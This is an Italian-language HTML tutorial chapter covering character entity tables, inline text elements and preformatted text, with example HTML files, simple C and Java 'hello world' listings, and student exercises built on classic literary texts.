U+0391		Α	Α	Α	Α	Α	greek capital letter alpha
U+0392		Β	Β	Β	Β	Β	greek capital letter beta
U+0393	ISOgrk3	Γ	Γ	Γ	Γ	Γ	greek capital letter gamma
U+0394	ISOgrk3	Δ	Δ	Δ	Δ	Δ	greek capital letter delta
U+0395		Ε	Ε	Ε	Ε	Ε	greek capital letter epsilon
U+0396		Ζ	Ζ	Ζ	Ζ	Ζ	greek capital letter zeta
U+0397		Η	Η	Η	Η	Η	greek capital letter eta
U+0398	ISOgrk3	Θ	Θ	Θ	Θ	Θ	greek capital letter theta
U+0399		Ι	Ι	Ι	Ι	Ι	greek capital letter iota
U+039A		Κ	Κ	Κ	Κ	Κ	greek capital letter kappa
U+039B	ISOgrk3	Λ	Λ	Λ	Λ	Λ	greek capital letter lambda
U+039C		Μ	Μ	Μ	Μ	Μ	greek capital letter mu
U+039D		Ν	Ν	Ν	Ν	Ν	greek capital letter nu
U+039E	ISOgrk3	Ξ	Ξ	Ξ	Ξ	Ξ	greek capital letter xi
U+039F		Ο	Ο	Ο	Ο	Ο	greek capital letter omicron
U+03A0	ISOgrk3	Π	Π	Π	Π	Π	greek capital letter pi
U+03A1		Ρ	Ρ	Ρ	Ρ	Ρ	greek capital letter rho
U+03A3	ISOgrk3	Σ	Σ	Σ	Σ	Σ	greek capital letter sigma
U+03A4		Τ	Τ	Τ	Τ	Τ	greek capital letter tau
U+03A5	ISOgrk3	Υ	Υ	Υ	Υ	Υ	greek capital letter upsilon
U+03A6	ISOgrk3	Φ	Φ	Φ	Φ	Φ	greek capital letter phi
U+03A7		Χ	Χ	Χ	Χ	Χ	greek capital letter chi
U+03A8	ISOgrk3	Ψ	Ψ	Ψ	Ψ	Ψ	greek capital letter psi
U+03A9	ISOgrk3	Ω	Ω	Ω	Ω	Ω	greek capital letter omega

Codifica	Standard	SGML macro					Descrizione
U+03B1	ISOgrk3	α	α	α	α	α	greek small letter alpha
U+03B2	ISOgrk3	β	β	β	β	β	greek small letter beta
U+03B3	ISOgrk3	γ	γ	γ	γ	γ	greek small letter gamma
U+03B4	ISOgrk3	δ	δ	δ	δ	δ	greek small letter delta
U+03B5	ISOgrk3	ε	ϵ	ϵ	ϵ	ϵ	greek small letter epsilon
U+03B6	ISOgrk3	ζ	ζ	ζ	ζ	ζ	greek small letter zeta
U+03B7	ISOgrk3	η	η	η	η	η	greek small letter eta
U+03B8		θ	θ	θ	θ	θ	greek small letter theta
U+03B9	ISOgrk3	ι	ι	ι	ι	ι	greek small letter iota
U+03BA	ISOgrk3	κ	κ	κ	κ	κ	greek small letter kappa
U+03BB	ISOgrk3	λ	λ	λ	λ	λ	greek small letter lambda
U+03BC	ISOgrk3	μ	μ	μ	μ	μ	greek small letter mu
U+03BD	ISOgrk3	ν	ν	ν	ν	ν	greek small letter nu
U+03BE	ISOgrk3	ξ	ξ	ξ	ξ	ξ	greek small letter xi
U+03BF		ο	o	o	o	o	greek small letter omicron
U+03C0	ISOgrk3	π	π	π	π	π	greek small letter pi
U+03C1	ISOgrk3	ρ	ρ	ρ	ρ	ρ	greek small letter rho
U+03C2	ISOgrk3	ς	ς	ς	ς	ς	greek small letter final sigma
U+03C3	ISOgrk3	σ	σ	σ	σ	σ	greek small letter sigma
U+03C4	ISOgrk3	τ	τ	τ	τ	τ	greek small letter tau
U+03C5	ISOgrk3	υ	υ	υ	υ	υ	greek small letter upsilon
U+03C6		φ	ϕ	ϕ	ϕ	ϕ	greek small letter phi
U+03C7	ISOgrk3	χ	χ	χ	χ	χ	greek small letter chi
U+03C8	ISOgrk3	ψ	ψ	ψ	ψ	ψ	greek small letter psi
U+03C9	ISOgrk3	ω	ω	ω	ω	ω	greek small letter omega
U+03D1		ϑ	ϑ	ϑ	ϑ	ϑ	greek small letter theta symbol
U+03D2		ϒ	Υ	Υ	Υ	Υ	greek upsilon with hook symbol
U+03D6	ISOgrk3	ϖ	ϖ	ϖ	ϖ	ϖ	greek pi symbol
U+2022	ISOpub	•	•	•	•	•	bullet = black small circle
U+2026	ISOpub	…	…	…	…	…	horizontal ellipsis = three dot leader
U+2032	ISOtech	′	′	′	′	′	prime = minutes = feet
U+2033	ISOtech	″	″	″	″	″	double prime = seconds = inches
U+203E		‾	‾	‾	‾	‾	overline = spacing overscore
U+2044		⁄	/	/	/	/	fraction slash
U+2118	ISOamso	℘	$\wp$	$\wp$	$\wp$	$\wp$	script capital P = power set = Weierstrass p
U+2111	ISOamso	ℑ	$\Im$	$\Im$	$\Im$	$\Im$	blackletter capital I = imaginary part
U+211C	ISOamso	ℜ	$\Re$	$\Re$	$\Re$	$\Re$	blackletter capital R = real part symbol
U+2122	ISOnum	™	™	™	™	™	trade mark sign
U+2135		ℵ	$\aleph$	$\aleph$	$\aleph$	$\aleph$	alef symbol = first transfinite cardinal
U+2190	ISOnum	←	$\leftarrow$	$\leftarrow$	$\leftarrow$	$\leftarrow$	leftwards arrow
U+2191	ISOnu	↑	$\uparrow$	$\uparrow$	$\uparrow$	$\uparrow$	upwards arrow
U+2192	ISOnum	→	$\rightarrow$	$\rightarrow$	$\rightarrow$	$\rightarrow$	rightwards arrow

Codifica	Standard	SGML macro					Descrizione
U+2193	ISOnum	↓	v	v	v	v	downwards arrow
U+2194	ISOamsa	↔	↔	↔	↔	↔	left right arrow
U+21B5		↵	↩	↩	↩	↩	downwards arrow with corner leftwards = carriage return
U+21D0	ISOtech	⇐	⇐	⇐	⇐	⇐	leftwards double arrow
U+21D1	ISOamsa	⇑	⇑	⇑	⇑	⇑	upwards double arrow
U+21D2	ISOtech	⇒	⇒	⇒	⇒	⇒	rightwards double arrow
U+21D3	ISOamsa	⇓	⇓	⇓	⇓	⇓	downwards double arrow
U+21D4	ISOamsa	⇔	⇔	⇔	⇔	⇔	left right double arrow
U+2200	ISOtech	∀	∀	∀	∀	∀	for all
U+2202	ISOtech	∂	∂	∂	∂	∂	partial differential
U+2203	ISOtech	∃	∃	∃	∃	∃	there exists
U+2205	ISOamso	∅	∅	∅	∅	∅	empty set = null set = diameter
U+2207	ISOtech	∇	∇	∇	∇	∇	nabla = backward difference
U+220A	ISOtech	∈	□	□	□	□	element of
U+2209	ISOtech	∉	∉	∉	∉	∉	not an element of
U+220D	ISOtech	∋	□	□	□	□	contains as member
U+220F	ISOamsb	∏	∏	∏	∏	∏	n-ary product = product sign
U+2211	ISOamsb	∑	∑	∑	∑	∑	n-ary sumation
U+2212	ISOtech	−	−	−	−	−	minus sign
U+2217	ISOtech	∗	∗	∗	∗	∗	asterisk operator
U+221A	ISOtech	√	√	√	√	√	square root = radical sign
U+221D	ISOtech	∝	∝	∝	∝	∝	proportional to
U+221E	ISOtech	∞	∞	∞	∞	∞	infinity
U+2220	ISOamso	∠	∠	∠	∠	∠	angle
U+2227	ISOtech	∧	∧	∧	∧	∧	logical and = wedge
U+2228	ISOtech	∨	∨	∨	∨	∨	logical or = vee
U+2229	ISOtech	∩	∩	∩	∩	∩	intersection = cap
U+222A	ISOtech	∪	∪	∪	∪	∪	union = cup
U+222B	ISOtech	∫	∫	∫	∫	∫	integral
U+2234	ISOtech	∴	∴	∴	∴	∴	therefore
U+223C	ISOtech	∼	∼	∼	∼	∼	tilde operator = varies with = similar to
U+2245	ISOtech	≅	≅	≅	≅	≅	approximately equal to
U+2248	ISOamsr	≈	≍	≍	≍	≍	almost equal to = asymptotic to
U+2260	ISOtech	≠	≠	≠	≠	≠	not equal to
U+2261	ISOtech	≡	≡	≡	≡	≡	identical to
U+2264	ISOtech	≤	≤	≤	≤	≤	less-than or equal to
U+2265	ISOtech	≥	≥	≥	≥	≥	greater-than or equal to
U+2282	ISOtech	⊂	⊂	⊂	⊂	⊂	subset of
U+2283	ISOtech	⊃	⊃	⊃	⊃	⊃	superset of
U+2284	ISOamsn	⊄	⊄	⊄	⊄	⊄	not a subset of
U+2286	ISOtech	⊆	⊆	⊆	⊆	⊆	subset of or equal to
U+2287	ISOtech	⊇	⊇	⊇	⊇	⊇	superset of or equal to
U+2295	ISOamsb	⊕	⊕	⊕	⊕	⊕	circled plus = direct sum

Codifica	Standard	SGML macro					Descrizione
U+2297	ISOamsb	⊗	⊗	⊗	⊗	⊗	circled times = vector product
U+22A5	ISOtech	⊥	⊥	⊥	⊥	⊥	up tack = orthogonal to = perpendicular
U+22C5	ISOamsb	⋅	·	·	·	·	dot operator
U+2308	ISOamsc	⌈	⌈	⌈	⌈	⌈	left ceiling = apl upstile
U+2309	ISOamsc	⌉	⌉	⌉	⌉	⌉	right ceiling
U+230A	ISOamsc	⌊	⌊	⌊	⌊	⌊	left floor = apl downstile
U+230B	ISOamsc	⌋	⌋	⌋	⌋	⌋	right floor
U+2329	ISOtech	⟨	□	□	□	□	left-pointing angle bracket = bra
U+232A	ISOtech	⟩	□	□	□	□	right-pointing angle bracket = ket
U+25CA	ISOpub	◊	◊	◊	◊	◊	lozenge
U+2660	ISOpub	♠	♠	♠	♠	♠	black spade suit
U+2663	ISOpub	♣	♣	♣	♣	♣	black club suit = shamrock
U+2665	ISOpub	♥	♥	♥	♥	♥	black heart suit = valentine
U+2666	ISOpub	♦	♦	♦	♦	♦	black diamond suit

Oltre alle macro delle entità standard, descritte nelle tabelle appena mostrate, è possibile usare altre macro, che fanno riferimento al codice numerico dei caratteri che si vogliono usare. Esistono due modi alternativi: '**&#*n*;**' oppure '**&#x*n*;**'. Per esempio, '**è**' oppure '**è**' rappresentano indifferentemente la lettera «è». La differenza sta nel fatto che nel primo caso, si usa il codice numerico in base dieci, mentre nel secondo si usa il codice in esadecimale (in base sedici). Le tabelle delle macro mostrano nella prima colonna il valore dell'insieme di caratteri universale, che si esprime con un numero in esadecimale.

La sigla esadecimale da usare nelle macro del tipo '**&#x*n*;**' deve essere composta con lettere minuscole. La sigla indicata nella prima colonna delle tabelle contiene il prefisso «U+» che deve essere rimosso nella rappresentazione della macro.

In generale, se possibile, è bene usare le macro standard che, attraverso il loro nome, ricordano anche di che carattere si tratta, mentre per poter scrivere altri simboli mancanti occorre usare necessariamente le macro numeriche.

67.2.1 File «macro-01.html»

Si crei il file 'macro-01.html', sfruttando eventualmente una copia di un altro file HTML creato in precedenza, con il contenuto seguente:

```
1   <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2   <HTML LANG="it">
3   <HEAD>
4       <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5       <META NAME="Description" CONTENT="Macro HTML, esempio 01">
6       <META NAME="Keywords" CONTENT="HTML, macro, entit&agrave;, esempio">
7       <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
8       <META NAME="Date" CONTENT="2010.01.01">
9       <META NAME="Resource-type" LANG="en" CONTENT="Document">
10      <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
```

```
11        <META NAME="Robots" CONTENT="ALL">
12        <TITLE>Macro HTML</TITLE>
13    </HEAD>
14    <BODY>
15
16    <H1>Entit&agrave; SGML utilizzate nei documenti HTML</H1>
17
18    <P>Un file HTML pu&ograve; contenere delle macro speciali, composte da
19    un nome, circoscritto inizialmente dal simbolo &amp; e concluso da un
20    punto e virgola.</P>
21
22    <P>Le macro servono per poter inserire simboli come
23    &lt; e &gt;, che vengono usati nel sorgente HTML con un
24    significato speciale, per le lettere accentate degli alfabeti latini e
25    per la rappresentazione di alfabeti esotici.</P>
26
27    <P>Per la lingua italiana servono in modo particolare
28    le vocali accentate: &agrave;, &egrave;, &igrave;,
29    &ograve;, &ugrave;, &eacute;, &Agrave;, &Egrave;, &Igrave;,
30    &Ograve;, &Ugrave;, &Eacute;.</p>
31
32    <P>Quando si usano le macro all'interno degli attributi di un elemento,
33    che sono gi&agrave; delimitati da apici doppi, questi si possono
34    ottenere con la macro &amp;quot; (&quot;).</P>
35
36    </BODY>
37    </HTML>
```

Come sempre, si deve verificare la correttezza sintattica e quindi si deve verificare il risultato visto da un navigatore.

Figura 67.16. Aspetto del file '`macro-01.html`' con un navigatore.

Entità SGML utilizzate nei documenti HTML

Un file HTML può contenere delle macro speciali, composte da un nome, circoscritto inizialmente dal simbolo & e concluso da un punto e virgola.

Le macro servono per poter inserire simboli come < e >, che vengono usati nel sorgente HTML con un significato speciale, per le lettere accentate degli alfabeti latini e per la rappresentazione di alfabeti esotici.

Per la lingua italiana servono in modo particolare le vocali accentate: à, è, ì, ò, ù, é, À, È, Ì, Ò, Ù, É.

Quando si usano le macro all'interno degli attributi di un elemento, che sono già delimitati da apici doppi, questi si possono ottenere con la macro " (").

67.2.2 File «macro-02.html»

Per esercizio, si salvi il file con il nome '`macro-02.html`', modificando tutte le macro che fanno riferimento a entità standard, con macro numeriche, secondo la forma '**`&#x`*`n`*`;`**' (con il valore in esadecimale). Per fare questo si devono consultare le tabelle che appaiono all'inizio del capitolo.

Si controlli la correttezza sintattica e che il risultato visto dal navigatore non sia cambiato.

67.2.3 Verifica sulla struttura generale e sull'uso delle macro

In base a quanto appreso fino a questo punto, si realizzi il file '`verifica-struttura-macro.html`' che produca un risultato abbastanza simile a quello seguente, quando viene visto attraverso un navigatore:

> **Cappuccetto Rosso**
>
> di Jakob e Wilhelm Grimm
>
> C'era una volta una cara ragazzina; solo a vederla le volevan tutti bene, e specialmente la nonna, che non sapeva più cosa regalarle. Una volta le regalò un cappuccetto di velluto rosso, e, poiché le donava tanto ch'essa non volle più portare altro, la chiamarono sempre Cappuccetto Rosso.
>
> [...]

Si completi l'intestazione, coerentemente, secondo il proprio criterio, seguendo le modalità già stabilite. Si deve consegnare per la valutazione:

1. la stampa del risultato ottenuto attraverso il navigatore;
2. la stampa del sorgente.

Si richiede espressamente che tutti gli elementi, a esclusione di quelli che devono essere vuoti (come il caso di '**`META`**'), siano terminati correttamente con il marcatore di chiusura.

67.3 Contenuto del testo lineare

Il testo lineare è composto da caratteri tipografici, macro che si espandono in caratteri tipografici particolari ed elementi che delimitano porzioni del testo o che servono a inserire oggetti speciali nel testo. La tabella seguente elenca gli elementi più comuni per delimitare e qualificare delle porzioni di testo, oppure per interromperlo.

Tabella 67.18. Elementi da usare all'interno delle frasi.

Elemento	Significato
EM	Testo enfatizzato, di solito in corsivo.
STRONG	Testo evidenziato, di solito in neretto.
CITE	Citazione, nel senso di chi o cosa viene citato.
Q	Testo citato.
DFN	Definizione.
CODE	Codice usato in elaborazione, di solito reso in carattere dattilografico.
SAMP	Testo risultato di un'elaborazione.
KBD	Testo da inserire attraverso la tastiera.
VAR	Variabile o argomento di un programma.
ABBR	Abbreviazione.
ACRONYM	Acronimo.
SUB	Testo a pedice.
SUP	Testo ad apice.
BR	Va a capo (elemento vuoto).

Questi elementi possono essere usati con l'attributo '**`TITLE`**', con il quale si dà un titolo al contenuto. Per esempio, l'elemento '**`ACRONYM`**' può essere usato per circoscrivere un acronimo, ovvero una sigla, mentre con l'attributo '**`TITLE`**' si va a descrivere in modo esteso il suo

significato:

```
<P>Il <ACRONYM TITLE="World Wide Web Consortium">W3C</ACRONYM> è un
consorzio per lo sviluppo di tecnologie di...</P>
```

67.3.1 File «testo-lineare-01.html»

Si crei il file ‘`testo-lineare-01.html`’, sfruttando eventualmente una copia di un altro file HTML creato in precedenza, con il contenuto seguente:

```
1   <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2   <HTML LANG="it">
3   <HEAD>
4       <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5       <META NAME="Description" CONTENT="Elementi tipici contenuti nel
6       testo lineare, esempio 01">
7       <META NAME="Keywords" CONTENT="HTML, testo lineare, elementi,
8       esempio">
9       <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
10      <META NAME="Date" CONTENT="2010.01.01">
11      <META NAME="Resource-type" LANG="en" CONTENT="Document">
12      <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
13      <META NAME="Robots" CONTENT="ALL">
14      <TITLE>Elementi del testo lineare</TITLE>
15  </HEAD>
16  <BODY>
17
18  <H1>Elementi del testo lineare</H1>
19
20  <P>All'interno di un <EM>testo lineare</EM> si possono usare elementi
21  che delimitano e qualificano il testo che racchiudono.<BR>Questo &egrave;
22  un <STRONG>neretto</STRONG>, questa &egrave; la molecola dell'acqua:
23  <CODE>H<SUB>2</SUB>O</CODE>.</P>
24
25  <P>Si osservi comunque che non tutti gli elementi che delimitano del
26  testo lineare producono necessariamente un effetto visibile nel
27  risultato ottenuto attraverso il navigatore, oppure possono prevedere
28  l'inserzione di altri simboli. Per esempio, Dante Alighieri scrisse: <Q
29  TITLE="Inferno, canto I">Nel mezzo del cammin di nostra vita mi ritrovai
30  per una selva oscura ch&eacute; la diritta via era smarrita.</Q></P>
31
32  </BODY>
33  </HTML>
```

Figura 67.21. Aspetto del file '`testo-lineare-01.html`' con un navigatore.

Elementi del testo lineare

All'interno di un *testo lineare* si possono usare elementi che delimitano e qualificano il testo che racchiudono.
Questo è un **neretto**, questa è la molecola dell'acqua: H_2O.

Si osservi comunque che non tutti gli elementi che delimitano del testo lineare producono necessariamente un effetto visibile nel risultato ottenuto attraverso il navigatore, oppure possono prevedere l'inserzione di altri simboli. Per esempio, Dante Alighieri scrisse: «Nel mezzo del cammin di nostra vita mi ritrovai per una selva oscura ché la diritta via era smarrita.»

Nel caso particolare dell'elemento '**`Q`**', dal punto di vista visivo, il navigatore dovrebbe inserire le virgolette appropriate, secondo il tipo di linguaggio a cui si sta facendo riferimento; inoltre, portando il puntatore del mouse sopra il testo delimitato dall'elemento '**`Q`**', dovrebbe apparire la nota contenuta nell'attributo '**`TITLE`**': «Inferno, canto I».

67.3.2 File «testo-lineare-02.html»

Per esercizio, si crei il file '`testo-lineare-02.html`', utilizzando tutti gli elementi che appaiono descritti nella tabella riassuntiva all'inizio del capitolo.

67.3.3 Verifica sull'uso degli elementi interni al testo lineare

In base a quanto appreso fino a questo punto, si realizzi il file '`verifica-testo-lineare-01.html`' che produca un risultato abbastanza simile a quello seguente, quando viene visto attraverso un navigatore:

Biancaneve

di Jakob e Wilhelm Grimm

C'era una volta una regina in attesa di un bambino che in una giornata invernale stava filando davanti alla finestra. Il davanzale era di legno d'ebano nero, e si stava ammucchiando già della neve. Ad un tratto si punse un dito ed alcune gocce di sangue caddero sulla neve. La regina pensò: «Come mi piacerebbe avere una bambina dai capelli neri come l'ebano, dalle labbra rosse come il sangue e dalla pelle bianca come la neve!»

Ma dopo poco si ammalò gravemente e morì. Per qualche anno il re suo marito fu inconsolabile: poi un giorno incontrò una bellissima dama a caccia, ricca e nobile e decise di sposarla per dare una mamma a Biancaneve. Ma ignorava che era in realtà una strega, esperta in pozioni magiche, con uno specchio magico a cui ogni giorno chiedeva: «Specchio, specchio delle mie brame, chi è la più bella del reame!» per il gusto di farsi rispondere «La più bella mia regina sei tu».

[...]

In corrispondenza del titolo, interno al corpo del documento, si vuole inserire l'anno di edizione (1812-1822), in modo che appaia quando vi si porta sopra il puntatore del mouse, usando il navigatore.

Si completi l'intestazione, coerentemente, secondo il proprio criterio, seguendo le modalità già stabilite. Si deve consegnare per la valutazione:

1. la stampa del risultato ottenuto attraverso il navigatore;
2. la stampa del sorgente.

Si richiede espressamente che tutti gli elementi, a esclusione di quelli che devono essere vuoti, siano terminati correttamente con il marcatore di chiusura.

67.3.4 Seconda verifica sull'uso degli elementi interni al testo lineare

In base a quanto appreso fino a questo punto, si realizzi il file '`verifica-testo-lineare-02.html`' che produca un risultato abbastanza simile a quello seguente, quando viene visto attraverso un navigatore:

Paradiso

di Dante Alighieri

Canto I

La gloria di colui che tutto move
per l'universo penetra, e risplende
in una parte più e meno altrove.

Nel ciel che più de la sua luce prende
fu' io, e vidi cose che ridire
né sa né può chi di là sù discende;

perché appressando sé al suo disire,
nostro intelletto si profonda tanto,
che dietro la memoria non può ire.

[...]

La verifica richiede in modo particolare l'uso appropriato degli elementi '**`P`**' e '**`BR`**'.

Si completi l'intestazione, coerentemente, secondo il proprio criterio, seguendo le modalità già stabilite. Si deve consegnare per la valutazione:

1. la stampa del risultato ottenuto attraverso il navigatore;
2. la stampa del sorgente.

Si richiede espressamente che tutti gli elementi, a esclusione di quelli che devono essere vuoti, siano terminati correttamente con il marcatore di chiusura.

67.4 Testo preformattato

Il carattere tipografico che si ottiene normalmente, visualizzando un documento HTML attraverso un navigatore grafico, ha una larghezza proporzionale. Quando c'è la necessità di rappresentare qualcosa con un carattere a larghezza uniforme, ovvero «dattilografico», si usano alcuni elementi appositi: '**`CODE`**' e '**`SAMP`**' nell'ambito di un testo lineare; '**`PRE`**' come blocco separato. L'elemento '**`PRE`**' in particolare è molto utile per la rappresentazione di listati, come può essere una porzione di un sorgente di un linguaggio di programmazione.

67.4.1 File «testo-preformattato-01.html»

Si crei il file '`testo-preformattato-01.html`' con il contenuto seguente:

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5      <META NAME="Description" CONTENT="Elementi usati per rappresentare
6      testo dattilografico e listati, esempio 01">
7      <META NAME="Keywords" CONTENT="HTML, testo preformattato, elementi,
8      esempio">
9      <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
10     <META NAME="Date" CONTENT="2010.01.01">
11     <META NAME="Resource-type" LANG="en" CONTENT="Document">
12     <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
13     <META NAME="Robots" CONTENT="ALL">
14     <TITLE>Testo preformattato</TITLE>
15 </HEAD>
16 <BODY>
17
18 <H1>Linguaggio C</H1>
19
20 <P>Il codice di un programma C &egrave; scomposto in funzioni, dove
21 l'esecuzione del programma corrisponde alla chiamata della funzione
22 <CODE>main()</CODE>. Questa funzione pu&ograve; essere dichiarata senza
23 argomenti oppure con due argomenti precisi: <SAMP>int main (int argc,
24 char *argv[])</SAMP>.</P>
25
26 <H2>Ciao mondo!</H2>
27
28 <P>Segue un esempio molto semplice di un programma che emette un
29 messaggio e poi termina la sua esecuzione:</P>
30
31 <PRE>
32 #include &lt;stdio.h&gt;
33
34 int main ()
35 {
36     printf ("Ciao mondo!\n");
37 }
38 </PRE>
39
```

```
40  <P>Dopo la compilazione del sorgente, si pu&ograve; eseguire il
41  programma eseguibile e il risultato &egrave;: <SAMP>Ciao
42  mondo!</SAMP></P>
43
44  </BODY>
45  </HTML>
```

Figura 67.25. Aspetto del file '`testo-preformattato-01.html`' con un navigatore.

Linguaggio C

Il codice di un programma C è scomposto in funzioni, dove l'esecuzione del programma corrisponde alla chiamata della funzione `main()`. Questa funzione può essere dichiarata senza argomenti oppure con due argomenti precisi: `int main (int argc, char *argv[])`.

Ciao mondo!

Segue un esempio molto semplice di un programma che emette un messaggio e poi termina la sua esecuzione:

```
#include <stdio.h>

int main ()
{
    printf ("Ciao mondo!\n");
}
```

Dopo la compilazione del sorgente, si può eseguire il programma eseguibile e il risultato è: `Ciao mondo!`

Come si può osservare, di solito non c'è differenza nel modo in cui viene reso tipograficamente il contenuto dell'elemento '**`CODE`**' rispetto a quello dell'elemento '**`SAMP`**'. Ciò che in particolare si deve comprendere dall'esempio, è il comportamento dell'elemento '**`PRE`**': è un blocco che contiene testo lineare, ma a differenza dell'elemento '**`P`**', gli spazi orizzontali e le interruzioni di riga vengono rispettati nella resa finale, così come sono nel sorgente.

67.4.2 File «testo-preformattato-02.html»

Si salvi il file nuovamente, ma con il nome '`testo-preformattato-02.html`', modificandone il contenuto nel modo seguente:

```
1   <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2   <HTML LANG="it">
3   <HEAD>
4       <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5       <META NAME="Description" CONTENT="Elementi usati per rappresentare
6       testo dattilografico e listati, esempio 02">
7       <META NAME="Keywords" CONTENT="HTML, testo preformattato, elementi,
8       esempio">
9       <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
10      <META NAME="Date" CONTENT="2010.01.01">
11      <META NAME="Resource-type" LANG="en" CONTENT="Document">
12      <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
13      <META NAME="Robots" CONTENT="ALL">
14      <TITLE>Testo preformattato</TITLE>
15  </HEAD>
```

```
16  <BODY>
17
18  <H1>Linguaggio C</H1>
19
20  <P>Il codice di un programma C &egrave; scomposto in funzioni, dove
21  l'esecuzione del programma corrisponde alla chiamata della funzione
22  <CODE>main()</CODE>. Questa funzione pu&ograve; essere dichiarata senza
23  argomenti oppure con due argomenti precisi: <SAMP>int main (int argc,
24  char *argv[])</SAMP>.</P>
25
26  <H2>Ciao mondo!</H2>
27
28  <P>Segue un esempio molto semplice di un programma che emette un
29  messaggio e poi termina la sua esecuzione:</P>
30
31  <P><CODE>
32  #include &lt;stdio.h&gt;<BR>
33  int main ()<BR>
34  {<BR>
35      printf ("Ciao mondo!\n");<BR>
36  }
37  </CODE></P>
38
39  <P>Dopo la compilazione del sorgente, si pu&ograve; eseguire il
40  programma eseguibile e il risultato &egrave;: <SAMP>Ciao
41  mondo!</SAMP></P>
42
43  </BODY>
44  </HTML>
```

Come si può comprendere, si intende riprodurre il funzionamento dell'elemento '**`PRE`**' attraverso l'uso dell'elemento '**`CODE`**', inserendo degli elementi '**`BR`**' per interrompere esplicitamente le righe. Ciò che si ottiene assomiglia al file precedente, ma rimane irrisolto il problema degli spazi:

Figura 67.27. Aspetto del file ‘`testo-preformattato-02.html`’ con un navigatore.

Linguaggio C

Il codice di un programma C è scomposto in funzioni, dove l’esecuzione del programma corrisponde alla chiamata della funzione `main()`. Questa funzione può essere dichiarata senza argomenti oppure con due argomenti precisi: `int main (int argc, char *argv[])`.

Ciao mondo!

Segue un esempio molto semplice di un programma che emette un messaggio e poi termina la sua esecuzione:

```
#include <stdio.h>
int main ()
{
printf ("Ciao mondo!\n");
}
```

Dopo la compilazione del sorgente, si può eseguire il programma eseguibile e il risultato è: `Ciao mondo!`

67.4.3 File «testo-preformattato-03.html»

Si salvi il file nuovamente, ma con il nome ‘`testo-preformattato-03.html`’, modificandone il contenuto nel modo seguente:

```
1   <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2   <HTML LANG="it">
3   <HEAD>
4       <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5       <META NAME="Description" CONTENT="Elementi usati per rappresentare
6       testo dattilografico e listati, esempio 03">
7       <META NAME="Keywords" CONTENT="HTML, testo preformattato, elementi,
8       esempio">
9       <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
10      <META NAME="Date" CONTENT="2010.01.01">
11      <META NAME="Resource-type" LANG="en" CONTENT="Document">
12      <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
13      <META NAME="Robots" CONTENT="ALL">
14      <TITLE>Testo preformattato</TITLE>
15  </HEAD>
16  <BODY>
17
18  <H1>Linguaggio C</H1>
19
20  <P>Il codice di un programma C &egrave; scomposto in funzioni, dove
21  l'esecuzione del programma corrisponde alla chiamata della funzione
22  <CODE>main()</CODE>. Questa funzione pu&ograve; essere dichiarata senza
23  argomenti oppure con due argomenti precisi: <SAMP>int main (int argc,
24  char *argv[])</SAMP>.</P>
25
26  <H2>Ciao mondo!</H2>
27
28  <P>Segue un esempio molto semplice di un programma che emette un
29  messaggio e poi termina la sua esecuzione:</P>
```

```
30
31  <P><CODE>
32  #include &lt;stdio.h&gt;<BR>
33  int main ()<BR>
34  {<BR>
35      printf ("Ciao mondo!\n");<BR>
36  }
37  </CODE></P>
38
39  <P>Dopo la compilazione del sorgente, si pu&ograve; eseguire il
40  programma eseguibile e il risultato &egrave;: <SAMP>Ciao
41  mondo!</SAMP></P>
42
43  </BODY>
44  </HTML>
```

Anche in questo caso si vuole riprodurre il funzionamento dell'elemento '**PRE**', ma questa volta si provvede anche a inserire degli spazi letterali (precisamente spazi non interrompibili), attraverso la macro '** **' (*No-break space*). Il risultato è molto simile, visivamente, a quello dell'elemento '**PRE**'.

Figura 67.29. Aspetto del file 'testo-preformattato-03.html' con un navigatore.

Linguaggio C

Il codice di un programma C è scomposto in funzioni, dove l'esecuzione del programma corrisponde alla chiamata della funzione `main()`. Questa funzione può essere dichiarata senza argomenti oppure con due argomenti precisi: `int main (int argc, char *argv[])`.

Ciao mondo!

Segue un esempio molto semplice di un programma che emette un messaggio e poi termina la sua esecuzione:

```
#include <stdio.h>
int main ()
{
    printf ("Ciao mondo!\n");
}
```

Dopo la compilazione del sorgente, si può eseguire il programma eseguibile e il risultato è: `Ciao mondo!`

Sia chiaro, comunque, che quando è possibile e conveniente, è meglio usare l'elemento '**PRE**'.

67.4.4 Verifica sull'uso degli elementi per il testo preformattato

In base a quanto appreso fino a questo punto, si realizzi il file 'verifica-pre-01.html' che produca un risultato abbastanza simile a quello seguente, quando viene visto attraverso un navigatore. Si ricordi di usare l'elemento '**PRE**' quando ciò è appropriato.

Java

I componenti del linguaggio Java hanno nomi diversi da quelli consueti. Volendo fare un abbinamento approssimativo con un linguaggio di programmazione normale, si potrebbe dire che in Java i programmi sono *classi* e le funzioni sono *metodi*. Naturalmente ci sono anche tante altre cose nuove.

Fatta questa premessa, si può dare un'occhiata alla solita classe banale: quella che visualizza un messaggio e termina.

```
/**
 *  CiaoMondoApp.java
 *  La solita classe banale.
 */

import java.lang.*; // predefinita

class CiaoMondoApp
{
    public static void main (String[] args)
    {
        System.out.println ("Ciao Mondo!"); // visualizza il messaggio
    }
}
```

Nel testo appaiono evidenziate le parole «classi» e «metodi», che sono da intendere come **definizioni**.

